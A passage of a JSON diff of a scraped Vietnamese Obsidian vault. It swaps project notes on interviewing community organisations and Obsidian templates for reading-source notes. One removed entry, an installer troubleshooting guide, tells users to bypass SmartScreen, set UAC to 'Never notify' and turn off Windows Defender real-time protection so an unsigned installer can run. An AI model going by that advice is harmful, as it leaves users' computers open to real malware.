thấy QC thế nào?\r\n", + "Toàn bộ nội dung": "```dataview\r\ntable nguồn\r\nfrom [[]] \r\n```\r\nWHERE contains(nguồn,[[]])\r\n```dataview\r\nLIST \r\nfrom [[]] \r\nWhere contains(nguồn,\"Sỹ\")\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NL" + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "NZ" }, { - "Tiêu đề": "Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", + "Tiêu đề": "Tiền không mua được gì", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/Tiền không mua được gì", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom #file/thành-phẩm \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NM" + "Ngày tạo": "2023-08-10T19:20:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Na" }, { - "Tiêu đề": "Các nghiên cứu về người dùng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về người dùng", + "Tiêu đề": "Tạp chí ngân hàng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Kinh tế học/Tạp chí ngân hàng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-21T04:54:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NN" + "Ngày tạo": "2023-05-27T13:19:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nb" }, { - "Tiêu đề": "Bài đăng kêu gọi phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Các buổi phỏng vấn/Bài đăng kêu gọi phỏng vấn", + "Tiêu đề": "Andy Matuschak", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Andy Matuschak", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\r\n\r\n# Giải pháp dữ liệu cho các dự án cộng đồng\r\n\r\nChào tất cả mọi người. Hiện tại bọn mình đang xây dựng một giải pháp về quản lý dữ liệu cho những dự án làm nhiều về cộng đồng. Mình muốn được tìm hiểu về cách các mọi người đang quản lý dữ liệu, cũng như nhu cầu của các mọi người về một giải pháp tốt hơn (mà cụ thể là Obsidian). Nếu có ai có hứng thú với chủ đề này, mình xin phép được hẹn một buổi gặp mặt để mình có thể trò chuyện sâu hơn. Ưu tiên gặp mặt tại TPHCM. Cảm ơn mọi người đã quan tâm.\r\n\r\nĐây là một số câu mình tính hỏi. Ai hứng thú cũng có thể trả lời luôn dưới đây nếu không bị lười nói 😛:\r\n\r\n• Tổ chức bạn lúc mới hình thành có cảm thấy quá tải và thiếu sự giúp đỡ, kể cả khi bạn thấy xung quanh có rất nhiều nguồn lực sẵn sàng giúp đỡ bạn?\r\n• Việc tìm hiểu nhu cầu của các bên liên quan (đối tượng thụ hưởng, đối tác tiềm năng) có khiến bạn cảm thấy mệt mỏi không?\r\n• Bạn có nghĩ việc có sẵn dữ liệu của các bên khác trong cơ sở dữ liệu của mình sẽ giúp mình hoạch định kế hoạch tốt hơn không?\r\n• Hiện tại giải pháp quản lý của bạn là gì?\r\n• Nếu có một công cụ có vẻ như sẽ giúp bạn tốt hơn trong việc này thì bạn sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm? Cần những gì để bạn thấy được là nó có vẻ sẽ giúp bạn làm việc hiệu quả hơn?\r\n\r\n![[Mối quan tâm chung.jpeg]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NO" + "Ngày cập nhật": "2023-10-27T11:59:00.000Z", + "id": "Nc" }, { - "Tiêu đề": "Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Các buổi phỏng vấn/Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới", + "Tiêu đề": "Bret Victor", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Bret Victor", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Khởi động\r\nXin chào bạn. Mình là Lý Minh Nhật. Cảm ơn bạn đã nhận lời. Mình muốn mời bạn vào cuộc phỏng vấn này do thấy bạn tham gia tích cực trong kênh Obsidian tiếng Việt. Trước khi bắt đầu thì bạn có câu hỏi nào về cho mình không?\r\n\r\n- Công việc hiện tại của bạn là gì?\r\n- Nhu cầu hiện tại của bạn là gì?\r\n\r\n\r\n- Tổ chức bạn lúc mới hình thành có cảm thấy quá tải và thiếu sự giúp đỡ kể cả khi bạn thấy xung quanh có rất nhiều nguồn lực sẵn sàng giúp đỡ bạn? \r\n- Trong việc tìm hiểu nhu cầu của các bên liên quan (đối tượng thụ hưởng, đối tác tiềm năng) có khiến bạn cảm thấy mệt mỏi không? \r\n- Bạn có nghĩ việc có sẵn dữ liệu của các bên khác trong cơ sở dữ liệu của mình sẽ giúp mình hoạch định tốt hơn không? \r\n- Bạn đã thử sử dụng những cách quản lý nào rồi? \r\n- Nếu có một công cụ có vẻ như sẽ giúp bạn tốt hơn trong việc này thì bạn sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm? Cần những gì để bạn thấy được là nó có vẻ sẽ giúp bạn làm việc hiệu quả hơn?\r\n", + "Toàn bộ nội dung": "Nguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NP" + "Ngày tạo": "2023-06-10T14:52:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "id": "Nd" }, { - "Tiêu đề": "Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng", + "Tiêu đề": "Maggie Appleton", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Maggie Appleton", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nCác giả thuyết cần kiểm tra:\r\n```dataview\r\nLIST giả-thuyết\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\r\nThành quả cần có:: [[1 người tham gia phỏng vấn mỗi tuần]]\r\nThành quả hỗ trợ:: [[3 người có 10 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn]]\r\nThành quả hỗ trợ:: [[3 người có 1 năm kinh nghiệm trong lĩnh vực phi lợi nhuận nhận phỏng vấn]]\r\n\r\n- [x] [[Bài đăng kêu gọi phỏng vấn]] ✅ 2023-03-15\r\n- [ ] Hoàn thành [[Hướng dẫn phỏng vấn người muốn xây dựng cộng đồng hoặc mạng lưới]]\r\n- [ ] [[Email mời phỏng vấn]]\r\n\t- [ ] SNPO\r\n\t- [ ] VOGE\r\n\t- [ ] \r\n- [x] Phỏng vấn anh Minh ✅ 2023-03-14\r\n- [ ] Khảo sát\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n\r\n# Câu hỏi nghiên cứu\r\n- Các tổ chức lúc mới hình thành có mong có ai kết nối giùm không?\r\n- Việc phải nói chuyện nhu cầu của nhau có khiến họ thấy mệt mỏi không?\r\n- Họ có nghĩ việc có sẵn dữ liệu của các bên khác trong csdl của mình sẽ giúp mình hoạch định tốt hơn không?\r\n\r\n- Họ đã thử sử dụng những cách quản lý nào rồi?\r\n- Nếu có một công cụ giúp họ thì họ sẵn sàng bỏ ra bao nhiêu thời gian để thử nghiệm?\r\n\r\n\r\n- Obsidian hữu ích để quản lý công việc\r\n- Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất\r\n\r\n- Người dùng sử dụng dễ dàng Obsidian\r\n", + "Toàn bộ nội dung": "Nguồn::\n![The Block-Paved Path to Structured Data - Structured Content 2022 - YouTube](https://www.youtube.com/watch?v=AHblHPLoKKE)\n![The Expanding Dark Forest and Generative AI - Maggie Appleton - YouTube](https://youtu.be/VXkDaDDJjoA?si=_KdZexkhgZBSCFkT)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-25T13:53:00.000Z", - "id": "NQ" + "Ngày cập nhật": "2023-12-16T05:28:00.000Z", + "id": "Ne" }, { - "Tiêu đề": "Email mời phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu về nhu cầu sử dụng công cụ quản lý dự án cộng đồng/Email mời phỏng vấn", + "Tiêu đề": "Đừng bắt tôi nghĩ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Môi trường nghĩ, nhận thức tăng cường/Đừng bắt tôi nghĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# VOGE\r\nXin chào các bạn VOGE\r\n\r\nHiện tại bọn mình đang xây dựng một giải pháp về quản lý dữ liệu cho những dự án làm nhiều về cộng đồng. Mình muốn được tìm hiểu về cách các bạn đang quản lý dữ liệu, cũng như nhu cầu của các bạn về một giải pháp tốt hơn (mà cụ thể là Obsidian). Mình rất mong có thể có một buổi trò chuyện với các bạn. Không biết các bạn thấy sao?\r\n", + "Toàn bộ nội dung": "![](https://sensible.com/divi/wp-content/uploads/2020/08/DMMT-3d-cover-transparent-239x300.png)\n```dataview\nLIST\nWHERE contains(nguồn, [[]])\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NR" + "Ngày cập nhật": "2024-08-05T16:01:00.000Z", + "id": "Nf" }, { - "Tiêu đề": "Khảo sát người sử dụng Obsidian", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Khảo sát người sử dụng Obsidian", + "Tiêu đề": "Neilsen Norman Group", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Neilsen Norman Group", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu của bạn là gì\n- Quản lý cuộc sống cá nhân\n- Quản lý tri thức cá nhân\n- Quản lý dự án cá nhân\n- Quản lý dự án đội nhóm\n- Quản lý kiến thức đội nhóm\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-24T03:57:00.000Z", - "Ngày cập nhật": "2023-11-03T16:38:00.000Z", - "id": "NS" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-04-03T07:16:00.000Z", + "id": "Ng" }, { - "Tiêu đề": "Các nghiên cứu về sản phẩm", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về sản phẩm/Các nghiên cứu về sản phẩm", + "Tiêu đề": "Nguyễn Hoài Vân", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Nguyễn Hoài Vân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n- [ ] CSDL\n- [ ] Publish web\n- [ ] Những giải pháp có sẵn ở cộng đồng Obsidian\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-21T04:54:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NT" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-29T13:59:00.000Z", + "id": "Nh" }, { - "Tiêu đề": "Bộ cài", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Bộ cài/Bộ cài", + "Tiêu đề": "Nguyễn Đức Lộc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Nguyễn Đức Lộc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: [[Nhật]]\r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList\r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n- [ ] Chỉnh hình nền \r\n- [ ] Chạy thử trên máy ảo\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NU" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-28T14:52:00.000Z", + "id": "Ni" }, { - "Tiêu đề": "Các trục trặc có thể gặp khi cài", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Bộ cài/Các trục trặc có thể gặp khi cài", + "Tiêu đề": "nngroup", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/nngroup", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tôi không tải được bộ cài\r\nTheo quy định của Microsoft, các phần mềm khi cài đặt cần phải có một chứng chỉ ký mã hoá ([code signing certificate](https://www.youtube.com/watch?v=K98SSsKfcNs)). Hiện nay bọn mình chưa có tiền để mua chứng chỉ này, nên Windows sẽ rất gắt gao trong việc sử dụng nó. \r\n\r\nMột số trình duyệt khi bấm vào sẽ hiện thông báo này: \r\n![](https://i.imgur.com/apKjHxym.png) \r\n\r\nBấm vào dấu 3 chấm để tải về: \r\n![](https://i.imgur.com/uJ4oa8bm.png) \r\n\r\nTrình duyệt sẽ rất cố gắng để không cho bạn tải xuống, bằng cách hỏi lại lần nữa nhưng lần này lại giấu đi nút cho phép. Bạn phải bấm vào *Show more* để thấy được: \r\n![](https://i.imgur.com/6cQcAGYm.png) \r\n\r\nBạn có thể phụ bọn mình báo cho Microsoft biết đây là file an toàn bằng cách bấm *Report this app as safe* ở dòng ở giữa: \r\n![](https://i.imgur.com/3qAR3KQm.png) \r\n\r\n# Windows không cho tôi chạy bộ cài\r\nSau khi tải về bạn hãy bật file lên. Windows vẫn sẽ tiếp tục hỏi bạn tiếp: \r\n![](https://i.imgur.com/gWyTfdbm.png) \r\n\r\nBấm vào *More info* để thấy được nút *Run anyway*: \r\n![](https://i.imgur.com/SAzsiVXm.png) \r\n\r\nSau khi hết Windows Defender Smartscreen hỏi thì sẽ đến User Account Control hỏi: \r\n![](https://i.imgur.com/SPwOzSH.png)\r\n\r\nTrong quá trình cài thì bộ cài cũng sẽ cài thêm những phần mềm quan trọng khác như Obsidian, Git, và màn hình này sẽ tiếp tục bật ra. Nếu bạn không muốn bị phiền nhiễu thì có thể bấm vào *Show more details* để có thể tiếp tục bấm vào *Change when these notifications appear*: \r\n![](https://i.imgur.com/WVL0aBz.png)\r\n\r\nKéo thanh trượt xuống dưới cùng (*Never notify*) rồi bấm *OK*: \r\n![](https://i.imgur.com/ekX1nsZ.png) \r\n\r\nChọn *Yes*: \r\n![](https://i.imgur.com/gIE83ar.png)\r\n\r\nBấm đúp vào bộ cài để chạy lần nữa. Nếu suôn sẻ máy sẽ bật lên màn hình chuẩn bị cho bộ cài: \r\n![](https://i.imgur.com/b2t0jLK.png) \r\n\r\n\r\n# Bộ cài chỉ hiện một cửa sổ đen rồi hết\r\nNếu bạn chỉ chạy được tới đây rồi không thấy gì nữa: \r\n![Màn hình đen của cmd cho script \"Chuẩn bị\"](https://i.imgur.com/ovgzl6K.png)\r\n\r\nthì có thể đây là do các chương trình quét virus nhận nhầm. Hãy **tạm ngừng các chương trình quét virus** rồi thử lại. \r\n\r\n## Cách tắt Windows Security có sẵn trên máy\r\nBấm đúp vào icon của Windows Security trên thanh taskbar: \r\n![](https://winaero.com/blog/wp-content/uploads/2017/03/Windows-Defender-Security-Center-icon.png) \r\n\r\nỞ mục *Virus & threat protection settings*, chọn *Manage settings*: \r\n![](https://i.imgur.com/yrwjMLLm.png) \r\n\r\nTắt *Real-time protection* như trong hình: \r\n![](https://i.imgur.com/FszcWF6m.png) \r\n\r\n# Bộ cài báo tôi chưa cài winget\r\nBộ cài sử dụng [Windows Package Manager](https://xuanthulab.net/su-dung-winget-tai-va-cai-dat-ung-dung-tren-windows.html \"Sử dụng winget tải và cài đặt ứng dụng trên Windows\") (hay còn gọi là winget) để cài các phần mềm khác. Một số phiên bản Windows cũ sẽ không có nó. Hãy cập nhật [App Installer](https://apps.microsoft.com/store/detail/tr%C3%ACnh-c%C3%A0i-%C4%91%E1%BA%B7t-%E1%BB%A9ng-d%E1%BB%A5ng/9NBLGGH4NNS1) và thử lại.\r\n\r\nVới winget bạn có thể cài nhiều phần mềm cùng lúc. Điều này sẽ tiện lợi nếu bạn phải dùng một máy khác (đổi máy, mượn máy khác) mà cần sử dụng phần mềm của mình.\r\n\r\n# Tôi đã thử mọi cách nhưng đều không thể bật được màn hình cài đặt\r\nNếu vẫn không được, bạn hãy **giải nén bộ cài** bằng cách bấm chuột phải vào bộ cài, chọn *WinRar* (hoặc *7zip*), chọn *Extract to Land_of_Spheres*: \r\n![](https://i.imgur.com/vtj27x6m.png) \r\n\r\nBạn sẽ thấy trong folder mới được tạo có một folder nữa tên là *Bộ cài chính*. Trong đó sẽ có file *LOS Installer.exe*. Hãy bấm đúp vào nó: \r\n![](https://i.imgur.com/U55ymPvm.png) \r\n\r\nMàn hình cài đặt sẽ hiện ra: \r\n![](https://i.imgur.com/e3iB6N3l.png)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NV" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-10T13:11:00.000Z", + "id": "Nj" }, { - "Tiêu đề": "Web", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Phần mềm/Web/Web", + "Tiêu đề": "Paul Graham", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Paul Graham", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nFrom #file/thành-phẩm \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "NW" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-06T10:22:00.000Z", + "id": "Nk" }, { - "Tiêu đề": "Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Ý tưởng thực hành phát triển sản phẩm lên chính nhóm Product Maker Vietnam", + "Tiêu đề": "Phạm Trường Sơn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Ξ Nguồn/Phạm Trường Sơn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có điều này từ hồi học mấy lớp đầu của anh Minh em đã có suy nghĩ, nhưng lúc đó bận quá không có thời gian để triển khai các ý cho nó mạch lạc được. Cơ bản là, nhóm của mình là nhóm để thảo luận, học hỏi về kỹ năng và kiến thức trong phát triển sản phẩm. Nhưng chẳng phải là chính nhóm mình cũng là một sản phẩm đó sao? Tại sao chúng ta không thực hành việc phát triển sản phẩm ngay trên chính sản phẩm này?\n\nEm nghĩ trong nhóm này có 3 nhu cầu nhiều người có nhất:\n- Thực hành các kiến thức về phát triển sản phẩm và có được sự phản hồi về cách mình áp dụng kiến thức\n- Giới thiệu sản phẩm mình đang làm và có sự phản hồi về sản phẩm đó\n- Kết nối sâu hơn với các thành viên khác\n\nEm nghĩ việc thực hành chắc ai cũng đều đang tự làm cả. Nhưng nếu có thêm những yếu tố này thì sự học sẽ sâu sắc hơn:\n- Được thực hành cùng nhau trên cùng một sản phẩm\n- Được thực hành trên sản phẩm mình đang quan tâm nhất\n\nTrước nay, các lớp học của mình đều ngắn ngày và học viên tương tác 1-1 với giảng viên nên sự thực hành và được lắng nghe phản hồi cũng chỉ không sâu, rời rạc. [Khoá thực hành 8 tuần tới đây](https://kfmqndieadf.sg.larksuite.com/docx/XtnhdrhYOoniBGxwop7lRmZegzD \"Khoá thực hành phát triển sản phẩm (Product Manager In Practice) - Lark Docs\") sẽ giải quyết được điều này, nhưng học phí cũng không phải là rẻ cho người không có nhiều tiền. Với kể cả khi có tiền và thời gian để tham gia thì việc phải thực hành trên một sản phẩm không phải mình quan tâm nhất cũng có thể làm mình nhức đầu khi phải chuyển đối tượng tập trung. Và cuối cùng thì học xong thì cũng lại phải tự mày mò tiếp, chứ khoá học không thể nào gánh hết nổi được.\n\nNên nếu có cách để các thành viên trong nhóm có thể tiếp tục thảo luận sâu với nhau sau khoá học thì em nghĩ sẽ tốt cho mọi người và cả GSSP. Em nghĩ hình thức đơn giản nhất là người nào đang cần giới thiệu sản phẩm và kiếm người hợp tác thì có thể đăng các câu hỏi nghiên cứu cho sản phẩm của mình lên để mọi người thảo luận, hoặc có một đoạn giới thiệu ngắn về sản phẩm của mình rồi mời mọi người đăng ký tham gia phỏng vấn. Sau khi phỏng vấn xong mình có thể thảo luận xem cách mà phỏng vấn như vậy có đạt được tối ưu hay không. Sau đó sẽ tới phần thảo luận tự do, như vậy sẽ còn học được thêm nhiều thứ ngẫu nhiên mà mình không ngờ tới, giúp tạo các kết nối sâu hơn.\n\nNhìn thì cũng thấy những gì em nói nói đều chỉ là các giả thiết chứ chưa có sự kiểm chứng gì cả. Việc đăng bài thế này là sự kiểm chứng đầu tiên của em. Có thể những điều này anh Minh cũng đã suy nghĩ hết rồi, và đang có trong một kế hoạch sắp tới nào đó. Nhưng em nghĩ việc hỏi luôn bây giờ cũng không có vấn đề gì. \n\nKhông biết mọi người thấy sao về ý tưởng này?\n", + "Toàn bộ nội dung": "Khái niệm:: \n[[Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền]]\n\n## Ai là người muốn có giải pháp cho người đang ngập trong nợ nhất?\nKhông có tổ chức nào có đối tượng thụ hưởng là người đang nợ\n## Nếu [[Cho vay ngang hàng]], [[Cho mượn theo nhóm đảm bảo hơn]], tại sao các doanh nghiệp, ngân hàng không áp dụng?\nmô hình vay nhóm chỉ áp dụng cho người nghèo, còn kinh 